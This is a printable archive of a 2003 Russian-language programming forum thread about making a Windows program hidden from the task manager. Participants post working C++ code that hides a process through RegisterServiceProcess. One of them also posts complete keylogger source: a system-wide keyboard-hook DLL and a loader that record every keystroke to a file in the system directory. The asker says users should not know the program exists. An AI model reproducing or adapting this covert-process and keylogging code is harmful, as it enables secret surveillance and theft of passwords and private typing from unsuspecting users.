| Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
| Форум программистов > C/C++: Общие вопросы > "Невидимая" программа |
| Автор: Guest_UVSoft 30.4.2003, 23:05 |
| Привет! Как сделать "невидимую" программу, чтобы она не была видна при нажатии комбинации трёх клавиш Ctrl+Alt+Del. И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш? Что-то вроде шпиона... Спасибо |
| Автор: neutrino 1.5.2003, 10:06 |
| http://www.cyberinfo.ru/9/909_1.htm |
| Автор: fk_ 1.5.2003, 15:01 |
| 1. На самом деле такие программы называются не "невидмыми" а резидентными. 2. Резидентную программу, чтобы она являлась таковой, нужно убрать не только с "Завершения задачи" но и с панели кнопки пуск и из alt+tab. 3. А чтобы был шпион... хм тут смотря что ты хочешь делать... но обычно это морока с потоками... В общем если нужны подробные разъяснения, то пиши.... Хотя думаю сможешь все найти по своему вопросу и на сайте написаном выше... |
| Автор: HexoGenus 1.5.2003, 15:09 |
| Мой файлик Project1.cpp после запуска прога не видна в диспечере задач должно работать в вин98 //--------------------------------------------------------------------------- #include <vcl\vcl.h> #pragma hdrstop //--------------------------------------------------------------------------- USEFORM("Unit1.cpp", Form1); USERES("Project1.res"); typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD); bool RSP(double p1, double p2) { PREGISTERSERVICEPROCESS rsp; HINSTANCE hK32; bool Rc=false; hK32=GetModuleHandle("kernel32.dll"); if(hK32!=NULL) { rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess"); if(rsp!=NULL) { Rc=true; rsp(p1,p2); } FreeLibrary(hK32); } return Rc; } //--------------------------------------------------------------------------- WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { if (!RSP(NULL,1)) return 0; try { Application->Initialize(); Application->CreateForm(__classid(TForm1), &Form1); Application->Run(); } catch (Exception &exception) { Application->ShowException(&exception); } return 0; } //--------------------------------------------------------------------------- |
| Автор: uvsoft 2.5.2003, 15:01 |
| Шпионить мне ни за кем не надо... моя программа должна быть невидимой (чтобы юзеры ее не закрыли и даже не знали о ней) и через определённое время выполнять необходимые операции. Заходил на страницу, на которую меня послал:) neutrino, ~~~что-то не дошло... Может кто-нибудь даст ссылку на готовый проэкт C++++Builder? ЗЫ: У меня в вопросе есть и вторая часть: "И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш?" Огромное СПА-СИ-БО! |
| Автор: Step 2.5.2003, 17:39 |
| вообщето это в факю надо искать... |
| Автор: HexoGenus 3.5.2003, 01:15 |
| По поводу второй половины вопроса Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок) A> Для этого хук должен жить в длл. текст DLL: BOOL kdown=false; HANDLE ghDLLInst = 0; // Handle to the DLL's instance. char logname[MAX_PATH]; char sysdir[MAX_PATH]; DWORD NOfBytes; BOOL shift=false; HANDLE LFile; char buffer[20]; BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot) { ghDLLInst = hModule; switch (dwFunction) { case DLL_PROCESS_ATTACH: { GetSystemDirectory( sysdir, MAX_PATH ); strcpy(logname,sysdir); strcat(logname,"\\kbdkeys.txt"); } case DLL_PROCESS_DETACH: { } default: break; } return TRUE; } //------------------------------------------------ LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { BYTE aa[4]; memcpy(aa,&lParam,4); kdown=!(aa[3]&&64); BYTE scancode=aa[2]; BYTE ww[4]; memcpy(ww,&wParam,4); if (code<0)return CallNextHookEx(NULL,code,wParam,lParam); if(kdown&&(wParam==VK_SHIFT))shift=true; if(!kdown&&(wParam==VK_SHIFT))shift=false; if (kdown&&(wParam!=VK_SHIFT)) { sprintf( buffer ,"%c",wParam ); if(isalpha(ww[0])&(!shift))wParam=wParam+32; sprintf( buffer ,"%c",wParam ); if(wParam==VK_RETURN)strcpy(buffer,"\n"); LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); OVERLAPPED ovlp; DWORD ffsze=GetFileSize(LFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp); CloseHandle(LFile); } return CallNextHookEx(NULL,code,wParam,lParam); } //----------------------------------------------------------------------// текст приложения: #include #include #include int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow); //---------------------------------------------------------------------// BOOL SetHook( BOOL fSet ) { static HHOOK hhkKbdHook = NULL; static HANDLE hmodHook; if (fSet) { if (!hmodHook) { if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл { return FALSE; } } if (!hhkKbdHook) { if (!(hhkKbdHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC) GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0))) { return FALSE; } } } else { if (hhkKbdHook) { UnhookWindowsHookEx(hhkKbdHook); hhkKbdHook = NULL; } } return TRUE; } //--------------------------------------------------------------------// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK); MSG msg; while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return( 0 ); } |
| Автор: man2002ua 3.5.2003, 11:12 |
| neutrino, статья хорошая, только для оконных приложений его способ не очень-то покатит, я пробовал пустить окошко в контексте чужого потока и просто создавал новый поток в чужом процессе - все работает до появления окна Потом или твое окно загибается или весь процесс целиком перестает реагировать на нас (Даже если простой messagebox вывести). |
| Автор: uvsoft 3.5.2003, 23:12 |
| Может проект все-таки дадите? С ним-то разобраться легче... |
| Автор: man2002ua 5.5.2003, 10:15 |
| uvsoft, что конкретно надо и для каких целей? |
| Автор: HexoGenus 6.5.2003, 15:02 | ||
А чем тебя мои примеры не устраивают |
| Автор: uvsoft 9.5.2003, 07:54 |
| Ну, понимаешь, я не знаю куда что копировать.... Напиши тогда подробную инструкцию |
| Автор: Guest_visual 14.5.2003, 15:54 |
| Dlea win 98 u menea esti programca catorie tocina rabotaet void CFindwindowApp::HideTask(BOOL bRegType) { #define RSP_SIMPLE_SERVICE 0x00000001 #define RSP_UNREGISTER_SERVICE 0x00000000 HINSTANCE hInstKernel=NULL; DWORD (__stdcall *pRegisterServiceProcess) (DWORD, DWORD); hInstKernel = LoadLibrary ("KERNEL32.DLL"); if (hInstKernel) { pRegisterServiceProcess = (DWORD (__stdcall *) (DWORD, DWORD)) GetProcAddress (hInstKernel, "RegisterServiceProcess"); if (pRegisterServiceProcess) { if (bRegType) { pRegisterServiceProcess (NULL, RSP_SIMPLE_SERVICE); } else { pRegisterServiceProcess (NULL, RSP_UNREGISTER_SERVICE); } } else MessageBox(0,"Incarcarea Functiei a esuat !!","Eroare",MB_ICONSTOP); FreeLibrary (hInstKernel); } else MessageBox(0,"Incarcarea Dll a esuat !!","Eroare",MB_ICONSTOP); } no ne can ne magu zdelati functiu stobi scril i v 2k winde |